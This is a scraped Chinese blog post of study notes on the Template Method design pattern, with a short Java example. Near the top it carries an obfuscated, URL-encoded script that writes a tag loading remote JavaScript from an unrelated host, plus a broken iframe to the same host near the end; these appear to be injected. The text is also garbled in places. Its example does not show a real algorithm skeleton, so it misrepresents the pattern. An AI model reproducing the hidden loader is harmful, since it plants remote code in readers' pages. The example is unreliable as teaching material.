《设计模式精解》学习笔记(十四

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
《设计模式精解》学习笔记(十四


ate Method(模板方法)模式



《设计模式精解》学习笔记(十四)
------Template Method
(模板方法)模式
 
GOF

定义一个操作中的算法的骨架,而将一些步骤延迟到子类中。
Template Method
使得子类可以不改变一个算法的结构即可以重定义该算法的某些特定步骤。
 
继承是
OO
思想的三大特性(封装、继承、多态)之一。继承是为了更好的代码重用,但是在今天,越来越多的
OO
方法学大师都不止在一处的总结出:要优先运用组合而不是继承。
Template Method
模式是目前学到的最简单的模式之一。这也是比较常用到的模式。在
Template Method
模式中就充分运用了继承。其实在我看来,
Template Method
模式就是继承。在一个画图的程序中,我写了一个叫
drow
的方法,它将画出我需要的图形。
Template Method
模式可以帮我做到这一点,因为对方法的调用通过一个引用来进行的,而这个引用指向的对象属于某一个派生类。
 
下面是
Template Method
模式
UML
图:
 
 
下面是实现的
Java
代码:
定义一个抽象类,用来定义某算法的骨架,在这里是
abstract drow

package TemplateMethod;
 
public abstract class ShapeTemplate
{
      
public abstract void drow();//Template Method
}//end abctract class shape
 
package TemplateMethod;
 
派生出一个具体类,在具体类中实现了方法
drow

public class Square extends ShapeTemplate
{
      
@Override
      
public void drow()
      
{
             
System.out.println("
画出正方形
");
      
}//end drow()
 
}//end class Square
 
package TemplateMethod;
 
测试代码:
public class TemplateMethodPattern
{
      
      
private ShapeTemplate square;
 
      
public TemplateMethodPattern()
      
{
             
square = new Square();
      
}//end TemplateMethodPattern()
      
      
public void showTemplateMethodPattern()
      
{
             
square.drow();
      
}//end showTemplateMethodPattern()
      
      
public static void main(String[] args)
      
{
             
System.out.println("The Template Method Pattern!");
             
             
TemplateMethodPattern tmp = new TemplateMethodPattern();
             
tmp.showTemplateMethodPattern();
      
}//end main(...)
 
}//end class TemplateMethodPattern
 
运行结果:
The Template Method Pattern!
画出正方形
 
Template Method
模式让我们可以先定义这些步骤地顺序,然后重载那些需要改变的步骤。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值